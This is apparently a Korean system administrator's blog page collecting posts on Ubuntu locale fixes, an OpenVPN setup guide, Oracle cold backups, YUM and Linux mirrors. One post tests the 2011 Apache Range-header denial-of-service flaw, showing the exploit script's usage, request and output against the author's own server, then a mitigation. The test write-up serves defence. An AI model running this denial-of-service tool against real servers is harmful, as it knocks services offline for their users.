'System_Engineer'에 해당되는 글 11건

  1. 2014.08.09 우분투 터미널에서 한글 깨짐 문제 해결
  2. 2014.08.07 VPN install Guide
  3. 2012.07.18 Oracle Backup 팁
  4. 2012.07.03 웹서버 운영시 프로세스 관리
  5. 2012.07.03 Apache killer 위협
  6. 2012.07.03 윈7 설치시 설정 리스트
  7. 2012.03.07 ASIANUX YUM 사용하기
  8. 2012.03.07 LINUX 미러링
  9. 2011.11.19 IDC 전체 점검일정
  10. 2011.09.17 IDC 20110917

우분투 터미널에서 한글 깨짐 문제 해결

|

쉘화면에서 한글이 깨져 나오면 불편한 것이 한 두 가지가 아니다.
심지어는 ssh client shell에서 vi 입력도 안된다.
한글 putty를 설치한뒤에 문자를 utf-8로 조정하고 아래작업을 차례대로 진행한다.

먼저 한국 언어 패키지를 설치한다.

apt-get install language-pack-ko
apt-get install language-pack-ko-base

그다음 localeconf 를 설치 한다..

apt-get install localepurge

설치가 완려되면 아마 바로 설정 스크립트가 실행되는데 euckr 을 꼭~ 선택한다.

(만약에 실행이 안될 경우 dpkg-reconfigure localeconf 로 실행 할 수 있다)

스크립트에서 locale 설정 후 옵션 화면으로 이동하는데, 이 부분을 그냥 엔터 누르고 넘어간다.

그 다음, /var/lib/locales/supported.d/ko 파일을 열어서 "ko_KR.EUC-KR EUC-KR"를 추가한다.
(물론 따옴표 제외)

그리고 마지막으로 다음 명령어를 실행하면 완성~

locale-gen --purge
dpkg-reconfigure locales


이제 쉘에서 한글 출력/입력을 즐길 수 있을 것이다;;

/etc/environment 파일 내에 LANG="ko_KR.UTF-8" 추가
/etc/profile 파일 마지막에 LANG="ko_KR.UTF-8"  추가

'System_Engineer > linux&unix' 카테고리의 다른 글

VPN install Guide  (0) 2014.08.07
웹서버 운영시 프로세스 관리  (0) 2012.07.03
Apache killer 위협  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And

VPN install Guide

|

https://www.sulinux.net/bbs2014/board.php?bo_table=success_2&wr_id=27&sca=&sfl=wr_subject&stx=vpn&sop=and


0. 내가 원한는 것.
 1) 내가 어디에 있든 사설망에 접속할 수 있어야 한다.
    - 사설망 모든 자원 활용(사설의 모든 IP, 모든 PORT)
    - 요즘 ISP에서는 특정 포트를 막는다(예) samba, MS-SQL 포트)
 2) 사설망은 인터넷을 통해도 안전해야 한다. (SSL 암호화 제공)
 3) 사설망의 다른 PC(클라이언트)들과 통신이 가능해야 한다.
 4) 접속에 있어 ID/PASS인증을 거친다. (인증서 뿐만 아니라)
 5) 어디에 있든 사설망의 게이트웨이를 통해 인터넷에 접속한다.
    (외부에 알려지는건 내부 게이트웨이 IP가 보인다.)


1. 시스템 구성
  한대의 VPN서버에 여러대의 VPN 클라이언트들이 붙는 형태
  각 VPN클라이언트 끼리 통신 또한 가능해야 한다.
  -서버 : 리눅스 (SULinux 1.0)
  -클라이언트 : Windows XP, Linux (RedHat 9.0)
  -네트웍 : 10.1.1.0 (10.1.1.1 ~ 10.1.1.255)
  -사용포트 : 1194/UDP


2. OpenVPN설치(서버)
 ## lzo설치 ( 실시간 압축 전송 라이브러리)
 #http://dag.wieers.com/packages/lzo/ 에서 적당한 버전의 rpm을 받는다.
 # 난 SULinux 1.0 이니 , RHEL4 버전을 받는다.
 wget http://dag.wieers.com/packages/lzo/lzo-1.08-4.2.el4.rf.i386.rpm
 wget http://dag.wieers.com/packages/lzo/lzo-devel-1.08-4.2.el4.rf.i386.rpm
 rpm -Uvh lzo*

 ## open vpn 받아서 rpm 만들고 설치
 wget http://openvpn.net/release/openvpn-2.0.7.tar.gz
 rpmbuild -tb openvpn-2.0.7.tar.gz
 rpm -Uvh  /usr/src/redhat/RPMS/i386/openvpn-2.0.7-1.i386.rpm

### 설치되는 파일 및 디렉토리들
  /etc/openvpn
  /etc/rc.d/init.d/openvpn
  /usr/sbin/openvpn
  /usr/share/doc/openvpn-2.0.7/*
  /usr/share/man/man8/openvpn.8.gz
  /usr/share/openvpn
  /usr/share/openvpn/plugin/*
###############################


3. 인증서 생성 - 서버
  인증성 생성은 필수이다. 다음과 같이 생성한다.

 1) CA 생성 (상위 인증기관)
   cd /usr/share/doc/openvpn-2.0.7/easy-rsa/
   #vars 파일을 열어서 맨 마지막 줄을 수정한다.!!
     export KEY_COUNTRY=KR
     export KEY_PROVINCE=NA
     export KEY_CITY=BUSAN
     export KEY_ORG="superuser.co.kr"
     export KEY_EMAIL="doly@suidc.com"
  ####################################
  #인증서 생성시 마다 넣는게 귀찮아서 이렇게 정의 하는 것이니 하지 않아도 무관^^;
  . ./vars
  ## 위 명령은 , vars내용을 include한다는 명령이다.
  ./clean-all
  ## 기존에 생성된 것이 있으면 모두 삭제한다.
  ./build-ca
  ## CA 인증서를 생성한다.
  ## 이렇게하면 keys라는 폴더에 ca.key(개인키), ca.crt(공개인증서)가 생성된것을 확인한다.
  ## ca.crt파일은 모든 클라이언트에 배포. ca.key는 서버만 가지고 있음.

 2) 서버키 생성 (서버에 사용될 인증서 및 개인키)
   ./build-key-server server
  ## 뭐 많이 물어보는데 대충 대답하고 , y를 누른다.
  # keys 디렉토리에 server.crt  server.key 등이 생긴것을 확인할수 있다.
  # 이 키들은 CA에 의해 사인된 인증서이다.
  # server.crt, server.key 모두 서버에만 사용

 3) 클라이언트키 생성 (클라이언트에 사용될 인증서)
   ./build-key client
  ## 뭐 많이 물어보는데 대충 대답하고 , y를 누른다.
  # keys 디렉토리에 server.csr server.crt  server.key 등이 생긴것을 확인할수 있다.
  # 중요한건. Common Name은 client여야 한다.!!
  # keys 디렉토리에 client.crt client.key 를 볼 수 있다.
  # 이 키들은 CA에 의해 사인된 인증서이다.
  # client.key, client.crt 모두 클라이언트에만 사용됨.

 4) Diffie Hellman 파라메터 생성(암호화에 필요한 놈)
  ./build-dh
  # keys디렉토리에 dh1024.pem 파일이 생긴것을 확인할 수 있다.
  # dh1024.pem은 서버에만 가지고 있는다.

 5) 클라이 언트용 파일 복사 및 보관
    mkdir -p /root/client-keys
    cp keys/ca.crt keys/client.* /root/client-keys
    cd /root
    zip client-keys.zip client-keys/*



4. 설정파일(server.conf)파일 복사 및 편집 - 서버
 1) 설정파일 및 키 복사
    cd /usr/share/doc/openvpn-2.0.7/
    cp sample-config-files/server.conf /etc/openvpn/
    cp easy-rsa/keys/server.* /etc/openvpn/
    cp easy-rsa/keys/dh1024.pem /etc/openvpn/   
    cp easy-rsa/keys/ca.* /etc/openvpn/
    
 2) 설정파일 편집.(/etc/openvpn/server.conf)
    server 10.1.1.0 255.255.255.0
    client-to-client
    duplicate-cn
    max-clients 100
    plugin /usr/share/openvpn/plugin/lib/openvpn-auth-pam.so login

   ## 설명
   # sever 네트웍 설정은 10.1.1.0으로 한다.
   # client-to-client : 클라이언트 끼리 통신 가능하게
   # duplicate-cn : client인증서 하나로 여러대의 PC에서 사용할 수 있게한다.
   # max-clients 100 : 연결수를 100으로 제한한다.
   # plugin .... : user/pass인증을 받는다. (시스템 계정)



 3) G/W로 VPN서버를 쓰기 때문에 인터넷 공유 설정.
    echo 'iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o eth0 -j MASQUERADE' >> /etc/rc.d/rc.local
    iptables -t nat -A POSTROUTING -s 10.1.1.0/24 -o eth0 -j MASQUERADE
    iptables -t nat -L



5. 클라이언트 설치 및 설정(Linux RH9)
  # lzo 설치
  wget http://dag.wieers.com/packages/lzo/lzo-1.08-4.0.rh9.rf.i386.rpm
  wget http://dag.wieers.com/packages/lzo/lzo-devel-1.08-4.0.rh9.rf.i386.rpm
  rpm -Uvh lzo-*
 # openvpn 받아서 설치
 wget http://openvpn.net/release/openvpn-2.0.7.tar.gz
 rpmbuild -tb openvpn-2.0.7.tar.gz
 rpm -Uvh  /usr/src/redhat/RPMS/i386/openvpn-2.0.7-1.i386.rpm
 # 설정파일 복사 및 설정
 cp  /usr/share/doc/openvpn-2.0.7/sample-config-files/client.conf /etc/openvpn/
 cd /etc/openvpn
 wget http://su021.suidc.com/~mons/client-keys.zip
 unzip client-keys.zip
 mv client-keys/* .
 rm -rf client-keys*
 ## 설정파일 편집
  remote 222.97.189.21 1194
  auth-user-pass
 # 위 두줄 추가!!
 /etc/rc.d/init.d/openvpn start
 이렇게 시작하면, user/ pass 를 묻는다.!!
 예의상ㅇ!! ping 10.1.1.1 을 해 본다.!!! -- OK!



6. Windows XP에 설치!!
http://www.openvpn.se/files/install_packages/openvpn-2.0.7-gui-1.0.3-install.exe
위 파일을 받아서 설치!
  http://su021.suidc.com/~mons/vpn-client-win.zip
 이 키를 받아서.
 시작 -> 프로그램 -> OpenVPN -> Open VPN configuration file directory
 을 열고 거기에 복사한다.!

 트레이 아이콘에서 connect
그런다음 ID/PASS입력 !! 끝~~~ 

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
웹서버 운영시 프로세스 관리  (0) 2012.07.03
Apache killer 위협  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And

Oracle Backup 팁

|

자료출처 : http://www.oracleclub.com/lecture/1847

COLD BACKUP(오프라인 백업)

Oracle 9i 이후 버전에서의 Cold 백업은 오라클클럽 백업&복구 강좌의 Cold 백업 강좌를 참고해 주세요

COLD BACKUP(오프라인 백업)

- COLD BACKUP이란 오라클 SHUTDOWNDATAFILE, REDO LOG FILE, CONTROL FILE, PARAMETER FILE등을 OS의 복사명령으로 백업을 수행하는 방법을 말한다.

- 백업받을 파일들의 목록은 V$DATAFILE, V$LOGFILE, V$CONTROLFILE에서 찾을 수 있다.

- COLD BACKUP을 위해서 데이타베이스를 SHUTDOWN 할 때에는 NORMAL, IMMEDIATE 옵션을 사용해야 하며 ABORT 를 사용해서는 안 된다. ABORT 를 사용한 경우에는 SHUTDOWN 후에 다시 STARTUP 하고 NORMAL 로 SHUTDOWN 하도록 한다.

- SHUTDOWN ABORT 옵션을 쓸 경우 Checkpoint 정보가 일치하지 않아 복구가 수행되지 않을 수 있으므로 이 옵션을 사용하지 말아야 한다.

- SHUTDOWN 하지 않고 OPEN 된 상태에서 백업을 받으면 백업받은 내용을 나중에 사용할 수가 없으므로 유의해야 한다.

- 콘트롤 화일과 데이타 화일 및 로그 화일의 위치를 확인하여 이들을 tar, cpio 등의 명령을 이용하여 백업 받도록 한다.

- NT 에서는 COPY 명령이나 탐색기를 이용해서 백업을 받으면 된다.

- 장점 : 읽기 일관성이 보장됨, 가장 간편하다.

- 단점 : 데이터베이스 SHUTDOWN이 필요하므로 백업받는 동안 데이터베이스를 사용할 수 없으며, 백업이 수행된 시점까지만 복구가 가능하다

파일확인 방법

오라클은 반드시 SHUTDOWN된 상태이어야 하며, 아래에서 확인한 세 종류의 파일들을 OS명령어(ex cp)로 백업받으면 된다. 필요에 따라서 파라미터(init.ora) 파일까지 받아두는 것이 좋다.

 
-- Oracle 8.1.7 sqlplus에서 system/manager로 접속

-- 콘트롤 파일 확인 
SQL> SELECT name FROM V$CONTROLFILE;

NAME
------------------------------------------
C:\ORACLE\ORADATA\ORACLE\CONTROL01.CTL
C:\ORACLE\ORADATA\ORACLE\CONTROL02.CTL
C:\ORACLE\ORADATA\ORACLE\CONTROL03.CTL


-- 데이타 파일 확인 
SQL> SELECT name FROM V$DATAFILE;

NAME
--------------------------------------------------
C:\ORACLE\ORADATA\ORACLE\SYSTEM01.DBF
C:\ORACLE\ORADATA\ORACLE\INDX01.DBF
C:\ORACLE\ORADATA\ORACLE\TOOLS01.DBF
C:\ORACLE\ORADATA\ORACLE\USERS01.DBF
C:\ORACLE\ORADATA\ORACLE\STORM.DBF
C:\ORACLE\ORADATA\ORACLE\STORMIDX.DBF
C:\ORACLE\ORADATA\ORACLE\TEST.DBF


-- 로그 파일 확인
SQL>SELECT member FROM V$LOGFILE; 

MEMBER
------------------------------------
C:\ORACLE\ORADATA\ORACLE\REDO03.LOG
C:\ORACLE\ORADATA\ORACLE\REDO02.LOG
C:\ORACLE\ORADATA\ORACLE\REDO01.LOG 
    

오프라인 복구 예제

COLD BACKUP 백업에 대한 복구는 장애가 발생한 시점까지가 아니라, 가장 최근의 백업시점 까지만 복구가 가능 하며, 백업 시점에서 현 시점까지의 데이터는 모두 잃어 버리게 된다.

동일한 디스크에 위치한 데이터파일 복구

1. DB를 SHUTDOWN ABORT로 닫는다.

2. 백업해두었던 DATAFILE, REDO LOG FILE, CONTROL FILE, PARAMETER FILE(init.ora) 들을 현재의 DB 데이터파일들이 위치한 곳으로 이동 시킨다(copy 작업).

3. STARTUP MOUNT를 수행 한다.

4. ALTER DATABASE OPEN RESETLOS 수행

상이한 디스크에 위치한 데이터파일 복구

만일 디스크가 교체될 수 없는 경우, 파일들을 다른 디스크로 이동시켜 복구한다.

1. DB를 SHUTDOWN ABORT로 닫는다.

2. 백업해두었던 DATAFILE, REDO LOG FILE, CONTROL FILE, PARAMETER FILE(init.ora), PASSWORD FILD(orapwSID) 들을 다른 디스크로 이동

3. PARAMETER FILE에서 CONTROL_FILES 파라미터를 수정한다.

4. STARTUP MOUNT EXCLUSIVE 수행

5. 새로운 디스크에 위치한 데이터파일들의 위치를 control파일에 갱신

 
ALTER DATABASE RENAME 
FILE '/u01/oracle/data/data01.dbf' 
TO '/u02/oracle/data/data01.dbf'
    

6. DB백업(형식적인 절차)

7. ALTER DATABASE OPEN RESETLOGS 수행

문서에 대하여

  • - 작성자 : 김정식 (oramaster _at_ naver.com)
  • - 작성일 : 2004년 08월 17일
  • - 강좌 URL : http://www.oracleclub.com/lecture/1847
  • - 이 문서를 다른 블로그나 홈페이지에 게재하실 경우에는 출처를 꼭 밝혀 주시면 고맙겠습니다.~^^
  • - 오라클클럽의 모든 강좌는 크리에이티브 커먼즈의 저작자표시-비영리-동일조건변경허락(BY-NC-SA) 라이선스에 따라 자유롭게 사용할 수 있습니다. 

And

웹서버 운영시 프로세스 관리

|

웹서버를 운영하다보면 특정한 프로세스가 과부하를 일으키는 경우가 아주 흔하더군여.
 
기본적으로 반드시 알아야되는..명령어가  lsof 입니다.
 
lsof 는 List of File 의 약자이며 현재 프로세스에서 어떤 파일이 사용되는지 보여주는 명령어 입니다.
또한 어떤 소켓이 열려있는지도 확인이 가능합니다.
 
lsof 바로 입력하면 모든 리스트가 출력되므로 그보다는 PID값으로 조회하면 편합니다.
 
top 명령어로 부하가 심한 프로세스 PID번호를 확인후
 
lsof -p PID번호 이렇게 하면 현재 어떤 놈인지 보여줍니다.
 
특정 ip정보나 계정별 프로세스등 다양한 방법이 있으니 자세한 옵션과 방법은 네이버 삼촌에게~~
 
아무것도 아니지만 알면 매우 활용도가 높죠

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
Apache killer 위협  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And

Apache killer 위협

|

커피닉스 IRC 채널에서 좋은진호님이 알려주신 기사내용을 실제로 테스트 해보았다.
아파치 웹서버 무력화시킬 심각한 DoS 결함 발견

2011. 8.30 커피닉스의 IRC에서 좋은 진호님 지적에 따르면, 기사내용과는 달리 mod_deflate와 mod_gzip 모듈은 관계가 없다고 한다.  아마 초기의 취약점 정보가  잘못정리되어 기사가 나온듯 하다. 업데이트된 취약점정보를 확인하자.

Test 환경

CentOS 5.5 64bit
Apache 2.2.3 (httpd-2.2.3-45.el5.centos.1, 최신RPM 버전임)
httpd.conf는 RPM 버젼의 기본값
PHP등의 추가 모듈은 설치되어 있지 않음

CentOS의 기본값 httpd.conf 에 “LoadModule deflate_module modules/mod_deflate.so” 가 기본값으로 설정되어 있어, httpd -M 결과에서 “deflate_module (shared)” 와 같이 mod_deflate 모듈이 load되어있습니다.

이번에 Apache Killer가 이용하는 취약점은 Apache의 mod_proxy 로 redirect해서 운영하는 경우에는 동작하는 않는 것으로 보입니다. 제 테스트 환경에서는 그랬으니, 다른 환경에서는 주의가 필요합니다.

취약점 관련 정보는 다음 링크를 확인하세요. 참고로  Range란 자원의 일부분만 보내주기를 요청할 때 사용되는 HTTP헤더정보라고 하네요. (KRCERT 자료 인용)
(CVE-2011-3192) CVE-2011-3192 httpd: multiple ranges DoS
Mitigation of Apache Range Header DoS Attack
좋은진호님의 글 - 아파치 웹서버를 한방에 다운시키는 Range요청 취약점

이번에 공개된 Apache Killer 이외에도 Slowloris 라는 엄청난 녀석도 있으니 참고해둔다.

jjun의 테스트
[root@test-server html]# perl /root/kill.pl

Apache Remote Denial of Service (memory exhaustion)
due to a flawed implementation of Partial Content requests
(CVE-2011-3192).

by Javier, based on Kingcope's code available at

http://seclists.org/fulldisclosure/2011/Aug/175

Usage: ./apachepartial.pl <host> [path] [parallel reqs] [loops] [port]
         [path] defaults to '/'
         [parallel reqs] defaults to 10
         [loops] defaults to 5 (0 = infinite)
         [port] defaults to 80

Example: For attacking http://www.example.com:8080/somepath/ with
         100 concurrent requests over 5 loops:
         ./apachepartial.pl www.example.com /somepath/ 100 5 8080

See the comments at the beginning of the script code.

WARNING: The exploited system may become unstable and even crash.
         THIS TOOL IS PROVIDED 'AS IS', USE IT AT YOUR OWN RISK.
[root@test-server html]# perl /root/kill.pl test-server.crystaljjun.kr /1.txt 100 0 80

Testing http://test-server.crystaljjun.kr:80/1.txt

Request:
HEAD /1.txt HTTP/1.1
Host: test-server.crystaljjun.kr
User-Agent: Apache httpd Partial Content bug exploit
Range:bytes=0-100
Accept-Encoding: gzip
Connection: close

Response:
HTTP/1.1 206 Partial Content
Date: Mon, 29 Aug 2011 14:10:29 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 29 Aug 2011 14:09:38 GMT
ETag: "e38002-50c-4aba572092c80"
Accept-Ranges: bytes
Content-Length: 101
Content-Range: bytes 0-100/1292
Connection: close
Content-Type: text/plain; charset=UTF-8

Host seems vulnerable.

Hitting http://test-server.crystaljjun.kr:80/1.txt
(100 parallel reqs over -1 loops)

Loop 1 .................................................................................................... finished.
Loop 2 .................................................................................................... finished.
Loop 3 .................................................................................................... finished.
Loop 4 .................................................................................................... finished.
Loop 5 .............. 종료시킴.

실행즉시, 모든 CPU의 사용률 100%를 보임

 

보안조치

Apache의 mod_headers 모듈 기능을 이용하여, 5 range보다 큰 header의 값은 drop 시키면 된다고 한다. 더 자세한 것은 좋은진호님의 글 - 아파치 웹서버를 한방에 다운시키는 Range요청 취약점 내용을 참조하자.

[root@test-server conf.d]# cat range-CVE-2011-3192.conf
# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

# optional logging.
CustomLog logs/range-CVE-2011-3192.log common env=bad-range
CustomLog logs/range-CVE-2011-3192.log common env=bad-req-range
[root@test-server conf.d]# service httpd restart
Stopping httpd:                                            [  OK  ]
Starting httpd:                                            [  OK  ]

 

취약점보고서의 조치사항을 보면 좋은진호님 것과 다른점이 있는데, IRC에서 여쭤보았다. 요약하자면 다음과 같다. (역시 실시간으로 답변해주셔서 너무나도 좋은 커피닉스 IRC #coffeenix 에 들려보세요. 좋은진호, sCag 님이 답변해주신 내용을 정리하였다.)
SetEnvIf Range (,.*?){5,} bad-range=1
SetEnvIf Range (?:,.*?){5,5} bad-range=1
차이점이 있는데 무었을까요?
?: 라면 그 매칭된 값을 back reference(괄호안에 매칭된 값을 변수)에 넣지 않는건데,
변수에 저장하지 않으니, 위 룰의 처리속도상의 유리할 수 있다.
(aaa)...(bbb)... (ccc) 이런 형태일 때, 조건이 매칭이 되면 $1에는 aaa가, $2에는 bbb, $3에는 ccc가 저장이 됩니다.
괄호에 ?: 을 넣어주면 매칭되어서 변수에는 저장하지 않는다. 매칭 여부만 판단할 때는 ?:을 넣어주는게 더 효율적일 수 있지만,
정규식표현 해석의 어려움이 있어, 쓰지 않는 경우가 있다.

더요약하자면regular expression! 한걸 변수로 때려 넣느냐 마느냐라고 생각 하면 쉽다.
a=1; b=2; c=a+b 이렇게 하느냐 print 1+2 하느냐

 

보안조치가 효과가 있는지 테스트

[root@test-server conf.d]# perl /root/kill.pl test-server.crystaljjun.kr /1.txt 100 0 80

Testing http://test-server.crystaljjun.kr:80/1.txt

Request:
HEAD /1.txt HTTP/1.1
Host: test-server.crystaljjun.kr
User-Agent: Apache httpd Partial Content bug exploit
Range:bytes=0-100
Accept-Encoding: gzip
Connection: close

Response:
HTTP/1.1 206 Partial Content
Date: Mon, 29 Aug 2011 14:13:48 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 29 Aug 2011 14:09:38 GMT
ETag: "e38002-50c-4aba572092c80"
Accept-Ranges: bytes
Content-Length: 101
Content-Range: bytes 0-100/1292
Connection: close
Content-Type: text/plain; charset=UTF-8

Host seems vulnerable.

Hitting http://test-server.crystaljjun.kr:80/1.txt
(100 parallel reqs over -1 loops)

Loop 1 .................................................................................................... finished.
Loop 2 .................................................................................................... finished.
Loop 3 .................................................................................................... finished.
Loop 4 .................................................................................................... finished.
Loop 5 .................................................................................................... finished.
Loop 6 .................................................................................................... finished.
Loop 7 .................................................................................................... finished.
Loop 8 .................................................................................................... finished.
Loop 9 .................................................................................................... finished.
Loop 10 .................................................................................................... finished.
Loop 11 .................................................................................................... finished.
Loop 12 .................................................................................................... finished.
Loop 13 .................................................................................................... finished.
Loop 14 .................................................................................................... finished.
Loop 15 .................................................................................................... finished.
Loop 16 .................................................................................................... finished.
Loop 17 .................................................................................................... finished.
Loop 18 .................................................................................................... finished.
Loop 19 .................................................................................................... finished.
Loop 20 .................................................................................................... finished.
Loop 21 ..................................................................................................

공격시 로그 내용

[root@test-server httpd]# tail access_log
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 - "-" "Apache httpd Partial Content bug exploit"
[root@test-server httpd]# tail range-CVE-2011-3192.log
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -
1.2.3.4 - - [29/Aug/2011:23:19:11 +0900] "HEAD /1.txt HTTP/1.1" 200 -

 

다른관점에서 생각을 해보자. 커피닉스 IRC채널의 내용에 조금 보탰다. 2011.8.31 추가함.

Apache가 오픈소스인 관계로, Apache가져다가 임베디드시켜서 관리기능을 구성했거나, 아예 자사 제품에 Apache를 쓰는경우가 있다.  (Cisco 비디오 관련 장비, 무선 일부장비, 오라클, NAS 제품, Citrix netscaler 관리페이지 등등)이경우의 수도 확인해봐야 할것이다. 단순히 웹서버만 체크할 문제는 아닐수 있다는 것이다. 1.3, 2.2 모든 버젼에 해당되는 내용이므로 엉뚱하게 시스템을 리부팅시켜야만 하는 상황이 생길수도 있겠다.

 


Apache에서 해당 버그를 fix한 업데이트 버젼 2.2.20 을 내놓았다.  또 Debian에서도 업데이트 패키지를 발표했다.  Redhat도 httpd 패키지가 업데이트 되었다.  2011.9.2 추가함.


자료출처 : http://blog.daum.net/donfig/3163886

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
웹서버 운영시 프로세스 관리  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
LINUX 미러링  (0) 2012.03.07
And

윈7 설치시 설정 리스트

|

SSD 성능, 수명, 용량 문제 때문에 윈도우를 재설치할 때마다 수많은 설정을 해야하는데
아이폰-아웃룩 동기화, 개발 환경 구축까지의 윈7 설정 리스트입니다.


윈도우 설치 전

Xmarks 동기화
아이튠즈 폴더(내 음악\iTunes) 백업
이클립스 폴더 백업
네트워크 연결 해제


윈도우 설치 후

Temp 폴더 이동
가상메모리 용량 수정(128 ~ 1024MB)
시스템 복원 해제
디버깅 로그 사용안함

Windows Search 사용안함
윈도우 업데이트 수동으로 설정
디스크 조각모음 예약 해제
최대절전모드 해제

램디스크 설치(256MB)
IE 임시폴더 램디스크로 이동
네트워크 연결
크롬플러스 설치
크롬플러스 임시폴더 램디스크로 이동

칩셋 드라이버 설치
그래픽 드라이버 설치(3D Vision 해제)
터치패드 드라이버 설치
노트북 키보드 레이아웃 레지스트리 적용
볼륨 레이블 레지스트리 적용

라이브러리 모두 빼고 WMP 실행 및 설정
Avast 설치
데몬 설치

오피스 설치
오피스 한번 실행하고 윈도우 업데이트 다시 수동으로 설정
아이튠즈 설치
iTunes 폴더를 내음악으로 복사하고 아이튠즈 실행
아이튠즈 설정
아이폰 동기화 전에 동기화 설정
아이폰 동기화
심볼릭 링크로 아이폰 백업 폴더 이동

VS2010 설치
JDK 32bit 설치(JRE 해제)
Java Path 설정
이클립스 폴더 복원

// ~ 대략 13GB 정도의 설치 용량


자료출처 : http://www.inter6.com/tt/index.php?pl=663

'System_Engineer > m$' 카테고리의 다른 글

IDC 전체 점검일정  (0) 2011.11.19
IDC 20110917  (0) 2011.09.17
windows 2003 터미널 라이센스 만료시  (0) 2011.09.16
And

ASIANUX YUM 사용하기

|
먼저 rpm 파일을 구하여야 함
yum-2.0.8-1.noarch.rpm

/etc/yum.conf

vi /etc/yum.conf

[main]
retries = 20
removepackage = 0
tolerant = 1
cachedir = /var/cache/yum/
exactarch = 1
distroverpkg = Haansoft-release
debuglevel = 2
logfile = /var/log/yum.log

[base]
name = Haanosft Linux 2006 Workstation - Base
baseurl=http://~~~~~~~~/RPMS

[updates-released]
name = Haan~ - Update
baseurl=http://~~~~~~~/RPMS

yum update #업데이트 작업시작
yum check-update #업데이트 확인
yum list #모든 패키지 목록보기
yum list installed #현재 설치된 패키지 목록보기
yum install #패키지명 지정한 패키지 설치
yum remove #패키지명 지정한 패키지 삭제
yum info #패키지명 패키지정보 확인

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
웹서버 운영시 프로세스 관리  (0) 2012.07.03
Apache killer 위협  (0) 2012.07.03
LINUX 미러링  (0) 2012.03.07
And

LINUX 미러링

|

젠투 미러사이트 
ftp://ftp.kaist.ac.kr/gentoo/                           http://ftp.kaist.ac.kr/pub/gentoo/

우분투 사이트(7.04 Feisty Fawn)
Ubuntu 7.04 CD 이미지 
 - http://releases.ubuntu.com/feisty/  
Ubuntu 7.04 DVD 이미지
 - http://cdimage.ubuntu.com/releases/7.04/release/
Kubuntu 7.04 CD 및 DVD 이미지
 - http://kubuntu.com/download.php

데비안 사이트   
ftp://ftp.kr.debian.org/debian-cd/                        http://ftp.kr.debian.org/debian-cd/

수세 리눅스 사이트   
 - ftp://ftp.kaist.ac.kr/pub/opensuse/

레드햇 페도라 미러 사이트 모음
- http://mirrors.fedoraproject.org/publiclist/Fedora/7/

Cent OS 미러 사이트 
 - http://www.centos.org/modules/tinycontent/index.php?id=15

아시아눅스 다운로드 사이트 
 - http://www.asianux.com/down_list.php

기타 :  
ftp://ftp.kaist.ac.kr/pub/ 
http://data.nicehosting.co.kr http://www.nidc.kr/etc/etc_26.asp

'System_Engineer > linux&unix' 카테고리의 다른 글

우분투 터미널에서 한글 깨짐 문제 해결  (0) 2014.08.09
VPN install Guide  (0) 2014.08.07
웹서버 운영시 프로세스 관리  (0) 2012.07.03
Apache killer 위협  (0) 2012.07.03
ASIANUX YUM 사용하기  (0) 2012.03.07
And

